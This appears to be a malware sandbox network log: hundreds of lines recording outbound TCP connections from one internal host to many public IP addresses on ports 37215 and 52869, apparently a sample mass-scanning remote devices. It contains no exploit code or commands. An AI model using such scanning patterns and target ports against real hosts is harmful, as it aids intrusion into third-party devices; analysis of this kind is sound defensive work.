Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.50.27.48:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.211.117.183:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.203.82.224:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.64.249.218:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.139.172.163:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.96.78.32:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.131.236.170:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.9.221.57:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.241.25.39:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.168.36.142:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.192.0.137:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.26.88.118:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.131.164.90:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.204.198.188:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.183.81.239:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.96.43.94:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.71.141.61:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.230.14.102:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.68.194.44:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.50.76.216:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.69.43.39:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.65.25.74:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.62.219.50:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.140.42.243:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.23.202.51:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.0.61.146:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.209.61.88:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.111.80.101:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.68.82.106:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.206.227.175:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.212.138.190:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.6.29.188:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.79.184.100:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.67.68.7:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.133.193.5:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.10.105.120:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.138.113.211:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.40.203.92:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.150.117.65:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.44.41.211:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.148.92.15:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.124.176.14:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.63.237.220:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.28.127.135:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.192.217.249:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.251.120.180:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.233.29.8:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.226.183.243:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.63.246.118:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.25.26.5:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.167.9.21:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.149.89.59:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.0.142.51:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.212.248.95:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.94.195.41:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.154.106.96:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.3.115.202:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.86.227.246:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.245.225.186:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.20.184.233:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.62.46.210:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.87.16.132:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.191.40.117:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.149.250.91:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.55.146.103:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.231.101.167:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.205.156.129:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.35.230.38:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.172.43.9:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.44.230.9:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.1.244.118:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.20.49.91:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.186.167.98:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.234.76.119:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.163.121.57:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.80.232.174:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.91.165.95:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.202.98.3:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.210.211.49:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.150.126.101:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.66.101.202:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.47.201.10:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.101.50.18:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.31.141.190:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.189.58.47:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.1.222.0:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.56.155.109:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.232.4.194:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.236.48.67:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.55.58.27:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.214.235.244:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.158.190.193:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.177.178.210:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.126.146.243:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.79.127.155:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.30.134.172:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.234.200.125:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.98.195.20:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.182.248.97:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.88.9.161:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.7.216.73:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.238.175.225:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.51.114.250:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.42.133.21:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.219.19.194:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.109.24.63:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.227.108.28:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.164.124.204:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.75.20.124:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.89.239.115:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.118.108.252:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.1.69.229:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.107.77.250:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.132.219.213:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.71.99.12:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.6.246.143:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.232.10.124:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.165.33.40:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.1.24.174:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.221.247.50:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.17.57.157:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.66.253.156:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.121.150.84:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.2.27.238:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.184.146.201:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.15.197.95:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.252.203.139:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.42.77.242:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.93.49.33:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.118.169.204:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.245.76.32:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.24.202.187:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.81.148.206:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.146.43.177:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.23.103.221:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.111.85.168:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.20.56.179:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.104.209.112:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.37.211.183:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.115.26.87:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.28.116.179:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.112.127.156:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.31.125.168:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.173.83.244:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.210.148.194:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.78.196.52:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.35.59.63:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.194.76.19:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.138.193.241:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.152.94.176:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.130.37.220:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.16.106.68:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.66.37.159:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.49.215.18:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.221.227.18:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.200.142.80:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.55.174.167:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.101.60.248:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.206.168.145:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.120.247.209:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.122.234.232:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.94.230.55:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.58.69.158:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.62.110.240:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.39.154.0:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.241.60.41:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.147.45.21:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.224.81.251:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.99.5.68:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.4.86.0:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.56.80.61:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.251.255.183:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.48.151.96:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.109.180.48:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.161.19.171:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.7.86.27:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.26.181.234:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.22.104.92:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.24.45.170:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.79.146.43:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.245.80.215:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.32.40.102:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.31.67.126:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.203.98.4:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.190.248.54:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.125.251.17:37215
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.19.35.12:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.215.38.12:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.98.77.55:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.32.124.48:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.147.42.39:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.76.84.90:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.198.181.221:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.182.15.4:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.207.237.22:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.103.206.135:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.24.230.39:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.129.194.93:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.32.106.22:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.27.96.23:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.42.208.235:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.170.78.174:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.194.213.23:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.19.3.163:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.98.172.54:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.149.92.90:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.7.211.231:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.62.180.18:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.232.36.231:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.157.227.195:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.3.35.36:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.226.0.120:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.51.121.94:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.22.230.140:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.208.6.172:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.165.205.177:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.116.195.171:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.243.188.48:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.39.146.253:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.212.116.150:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.107.116.199:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.9.91.164:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.168.209.210:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.31.30.151:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.139.71.243:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.86.33.209:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.133.228.141:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.213.23.240:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.94.201.203:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.78.234.250:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.157.65.185:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.159.111.34:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.135.250.205:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.170.31.124:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.16.228.2:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.42.112.137:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.185.73.149:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.63.85.157:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.44.240.38:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.206.20.95:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.125.238.67:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.189.135.44:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.87.38.231:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.122.211.139:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.239.100.110:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.91.131.115:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.47.69.135:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.174.130.240:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.93.224.120:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.197.243.17:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.6.221.162:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.253.111.230:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.21.203.212:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.9.194.49:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.74.229.13:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.224.86.132:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.39.211.194:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.158.47.185:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.37.70.46:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.119.66.214:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.101.117.235:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.112.157.199:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.100.65.241:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.239.152.12:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.83.154.163:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.17.175.43:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.208.100.5:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.19.155.0:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.162.230.161:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.8.110.78:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.80.87.122:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.115.2.193:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.24.159.165:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.195.207.237:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.116.242.45:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.73.110.137:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.48.105.199:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.1.59.76:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.237.12.205:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.205.145.75:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.93.22.197:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.104.133.221:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.40.76.201:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.246.102.247:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.206.150.82:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.203.146.253:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.201.227.24:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.121.122.37:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.174.217.37:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.160.99.230:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.24.9.173:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.162.99.153:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.235.16.92:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.38.208.211:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.82.216.116:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.230.82.46:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.168.196.80:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.124.198.104:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.169.34.128:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.143.207.12:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.55.143.122:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.255.66.70:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.136.252.215:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.249.61.142:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.44.235.31:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.125.207.167:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.148.162.64:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.124.200.130:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.215.41.201:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.76.125.54:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.8.49.229:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.70.148.200:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.2.223.36:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.76.210.200:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.217.43.87:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.107.102.170:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.51.115.157:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.255.244.224:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.178.194.236:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.128.197.192:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.9.236.200:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.59.94.209:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.138.13.175:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.160.118.242:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.134.51.182:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.13.35.8:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.57.146.247:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.131.20.240:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.143.182.224:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.239.74.195:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.124.68.176:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.20.123.181:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.239.35.160:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.38.106.189:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.101.185.80:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.138.203.68:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.178.106.164:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.100.254.103:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.121.100.156:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.178.137.191:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.36.2.242:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.206.252.36:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.229.124.157:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.168.115.35:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.204.62.135:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.203.208.50:52869
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.177.221.130:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.81.237.248:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.59.188.227:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.53.229.214:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.170.135.175:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.73.195.199:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.237.11.121:37215
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 197.67.4.7:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 156.25.85.55:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 197.206.23.7:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 156.51.41.231:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 156.54.105.193:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 156.156.28.15:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 197.4.51.69:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 197.20.120.93:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 156.82.21.229:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 156.158.91.163:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 41.80.110.15:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 197.199.247.183:52869
